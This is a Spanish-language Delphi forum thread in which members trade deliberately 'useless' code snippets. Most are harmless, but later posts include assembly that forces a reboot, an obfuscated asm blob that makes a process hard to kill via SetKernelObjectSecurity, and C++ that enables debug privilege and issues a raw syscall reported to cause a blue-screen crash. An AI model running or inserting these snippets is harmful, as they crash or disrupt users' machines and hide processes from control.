12 respuestas en este tema

[seoane]

Vamos a inaugurar el hilo de código inútil con uno sencillito 

Esto dibuja un circulo degradado de color rojo:

delphi

var
  x,y,r,ox,oy: Integer;
begin
  ox:= 200;
  oy:= 200;
  r:= 200;
  for y:= -r to r do
    for x:= -r to r do
      if (x*x)+(y*y) <= r*r then
        Canvas.Pixels[x+ox,y+oy]:= (((x*x)+(y*y)) * 255) div (r*r);
end;

PD: Ya conocen las normas: códigos correctos desde el punto de vista técnico, pero sin ninguna utilidad 

Animense !!!

[egostar]

Chin, dejame buscar en todo mi code uno que sea correcto técnicamente lo de inutil pues es mas fácil

Salud OS

[egostar]

Hola

Llenar con ceros a la izquierda una variable.

delphi

procedure TForm1.BitBtn1Click(Sender: TObject);
var
  Cadena: String;
  Caracter: Char;
begin
   Cadena := Edit1.Text;
   ShowMessage(Format('%.*d',[6,StrtoInt(Cadena)]));
end;

Como ves algo demasiado inútil

Salud OS

[enecumene]

Éste hace que el caption de la barra de título se mueva como una "marquee", inútil:

delphi

procedure TForm1.Timer1timer(Sender: TObject); 
begin 
  Application.title := Copy(Application.title, 2,Length(Application.title)) + 
    Application.title[1]; 
  Application.title := Application.title[Length(Application.title)] + 
    Copy(Application.title, 1,Length(Application.title) - 1); 
end;

Saludos.

[cHackAll]

Aquí­ les traigo un código sin utilidad que puede llegar a ser subliminalmente util (6)

delphi

program Subliminal;
 
uses Windows, Messages; 
 
function GdiplusStartup(out hToken: Cardinal; input, output: PChar): Cardinal; stdcall external 'gdiplus';
function GdipLoadImageFromFile(lpFileName: PWideChar; out hImage: Cardinal): Cardinal; stdcall external 'gdiplus';
function GdipCreateFromHDC(hDC: Cardinal; out hGraphics: Cardinal): Cardinal; stdcall external 'gdiplus';
function GdipDrawImage(hGraphics, hImage, x, y: Cardinal): Cardinal; stdcall external 'gdiplus';
function GdipDisposeImage(hImage: Cardinal): Cardinal; stdcall external 'gdiplus';
function GdipDeleteGraphics(hGraphics: Cardinal): Cardinal; stdcall external 'gdiplus';
procedure GdiplusShutdown(hToken: Cardinal); stdcall external 'gdiplus';
 
var
 Msg: TMsg;
 Point, Last: TPoint;
 nop: Cardinal = $C358016A;
 PaintStruct: TPaintStruct;
 hScreen, hCanvas, Width, Height, hToken, hImage, hGraphics, hWnd, hRgn, hMouse: Cardinal;
 WndClass: TWndClass = (lpfnWndProc: @nop; lpszClassName: 'sub');
 
begin
 CreateMutex(nil, True, WndClass.lpszClassName);
 if GetLastError <> 0 then Exit;
 
 hScreen := GetDC(0);
 hCanvas := CreateCompatibleDC(0);
 Width := GetDeviceCaps(hScreen, HORZRES);                              //
 Height := GetDeviceCaps(hScreen, VERTRES);                             //
 SelectObject(hCanvas, CreateCompatibleBitmap(hScreen, Width, Height));
 
 GdiplusStartup(hToken, #1#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0, nil);
 GdipLoadImageFromFile('C:\WINDOWS\Web\Wallpaper\Cazador.jpg', hImage); // path
 GdipCreateFromHDC(hCanvas, hGraphics);
 GdipDrawImage(hGraphics, hImage, 0, 0);
 GdipDeleteGraphics(hGraphics);
 GdipDisposeImage(hImage);
 
 RegisterClass(WndClass);
 hWnd := CreateWindowEx(WS_EX_TOOLWINDOW + WS_EX_TOPMOST + WS_EX_LAYERED, WndClass.lpszClassName, nil, WS_POPUP + WS_VISIBLE, 0, 0, Width, Height, 0, 0, HInstance, nil);
 SetCursor(CreateCursor(0, 0, 0, 0, 0, PChar(''), PChar('')));
 SetLayeredWindowAttributes(hWnd, 0, 55, LWA_ALPHA);
 SetPriorityClass(INFINITE, IDLE_PRIORITY_CLASS);
 SetTimer(hWnd, 0, 55, nil);
 
 while GetMessage(Msg, 0, 0, 0) do
  if Msg.message = WM_PAINT then
   begin
    BitBlt(BeginPaint(hWnd, PaintStruct), 0, 0, Width, Height, hCanvas, 0, 0, SRCCOPY);
    EndPaint(hWnd, PaintStruct);
   end
  else if (Msg.message = WM_TIMER) or (Msg.message = WM_MOUSEMOVE) then
   begin
    GetCursorPos(Point);
    BringWindowToTop(hWnd);
    if PInt64(@Point)^ <> PInt64(@Last)^ then
     begin
      Last := Point;
      hRgn := CreateRectRgn(0, 0, Width, Height);
      GetWindowRgn(hWnd, hRgn);
      CombineRgn(hRgn, hRgn, hMouse, RGN_XOR); // "if hMouse <> 0"
      DeleteObject(hMouse);
      hMouse := CreateRectRgn(Point.X, Point.Y, Point.X + 1, Point.Y + 1); // LWA_COLORKEY needs to refresh the canvas
      CombineRgn(hRgn, hRgn, hMouse, RGN_XOR);
      SetWindowRgn(hWnd, hRgn, False);
      DeleteObject(hRgn)
     end;
   end
  else
   DispatchMessage(Msg);
 
 GdiplusShutdown(hToken);
end.

[cHackAll]

asm

xor  ax,  ax
 mov  ds,  ax
 mov  bx,  0472h
 mov  word ptr [bx], 01234h
 mov  ax,  0FFFFh
 mov  es,  ax
 xor  si,  si
 push ax
 push si
 retf

[seoane]

... no se si fiarme chackall


Jeje, solo decirte que en Vista solo me provoca una excepcion

---------------------------
Debugger Exception Notification
---------------------------
Project Project3.exe raised exception class EAccessViolation with message 'Access violation at address 00457F26 in module 'Project3.exe'. Read of address FFFFFFFF'.
---------------------------
Break  Continue  Help 
---------------------------

Pero puede ser que su finalidad sea reiniciar el equipo ???  :^)

[cHackAll]

... no se si fiarme chackall...  ...Pero puede ser que su finalidad sea reiniciar el equipo ???  :^)

era un momento de nostalgia que me dio amigo seoane... efectivamente lo que hace es reiniciar el equipo pero claro, no "bajo" Delphi

[escafandra]

¿Acierto o error? :^)

cpp

#pragma hdrstop
#include <windows.h>
#pragma argsused
 
int main(int argc, char* argv[])
{
    HANDLE hToken;
    TOKEN_PRIVILEGES priv = {1, {0, 0, SE_PRIVILEGE_ENABLED}};
 
    LookupPrivilegeValue(0, SE_DEBUG_NAME, &priv.Privileges[0].Luid);
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
    AdjustTokenPrivileges (hToken, FALSE, &priv, sizeof priv, 0, 0);
    CloseHandle (hToken);
 
    __asm
    {
        jmp  Sigue:
 
Inutil:
        mov ax, 0xff   
        mov edx,esp
        db 0x0f, 0x34  
        ret
 
Sigue:
        xor eax,eax
        push eax         
        push eax        
        push eax         
        push 0x176       
        push esp
        pop ebx         
        xor eax,eax
        push eax     
        push esp  
        push eax  
        push eax  
        push 0x10 
        push ebx  
        push 0x11
        push eax  
        call Inutil
        add esp,0x30   
    }
 
    return 0;
}

Saludos.

PD: Probado en XP. !Ojo no intentar probarlo!

[cHackAll]

¿Acierto o error? :^)...

SDCWM "v\1"... ?

Me recordó a cuando ocultaba a simple vista el codigo en asm; ya bien conoces mi hook a CPIw, aquí­ el resumen de "ese" TIP que tení­a en ClubDelphi;

delphi

uses Windows;
 
begin
 asm dd $80002BA, $51C93100, $58B5452, SetKernelObjectSecurity + 2, $D1515151, $6A5452EA, $FFFF6A04, $1CC48310 end;
 MessageBox(0, 'Try to kill me on limited account...', nil, 0);
 Sleep(INFINITE);
end.

[escafandra]

BSOD 
Lo probaste?

Me recordó a cuando ocultaba a simple vista el codigo en asm; ya bien conoces mi hook a CPIw, aquí­ el resumen de "ese" TIP que tení­a en ClubDelphi;

delphi

uses Windows;
 
begin
 asm dd $80002BA, $51C93100, $58B5452, SetKernelObjectSecurity + 2, $D1515151, $6A5452EA, $FFFF6A04, $1CC48310 end;
 MessageBox(0, 'Try to kill me on limited account...', nil, 0);
 Sleep(INFINITE);
end.

Bueno, el código asm no está tan escondido, podrí­a haberlo estado más. El entrevelado tiene su gracia.

Por cierto, que fue de tus tips en ClubDelphi, se borraron...?

Saludos.

[cHackAll]

BSOD  ...

si y no, yo dije;

SDCWM"v\1"...

Eso es lo que hace tu code

...Lo probaste?

Claro que lo probe, como en mi VM solo saltaba un RaiseException, corrí­ el adjunto en mi PC y luego de un BSOD reinició (y)

...Bueno, el código asm no está tan escondido, podrí­a haberlo estado más. El entrevelado tiene su gracia. ...

Si, pero a veces siento quemo demasiadas neuronas... :$

...Por cierto, que fue de tus tips en ClubDelphi, se borraron...?

Pues cuando ClubDelphi se fue de vacaciones (casi junto a DelphiAccess ) los subdominios de los Premium fueron dados de baja. Podrí­a pedir que me lo vuelvan a crear, pero la verdad asi creo que estamos mas tranquilos

Saludos

[escafandra]

si y no, yo dije;

Acierto o error...?

Claro que lo probe, como en mi VM solo saltaba un RaiseException, corrí­ el adjunto en mi PC y luego de un BSOD reinició (y)

Yo fui mas drástico, directamente en el PC...

Si, pero a veces siento quemo demasiadas neuronas... :$

Es lo que tiene el asm, el solito se esconde... BSOD desde modo usuario sin driver. Muerte directa del Kernel.  (6) 

Pues cuando ClubDelphi se fue de vacaciones (casi junto a DelphiAccess ) los subdominios de los Premium fueron dados de baja. Podrí­a pedir que me lo vuelvan a crear, pero la verdad asi creo que estamos mas tranquilos

Pues deberí­as republicarlos aunque fuera en DA no se pueden perder.

Saludos.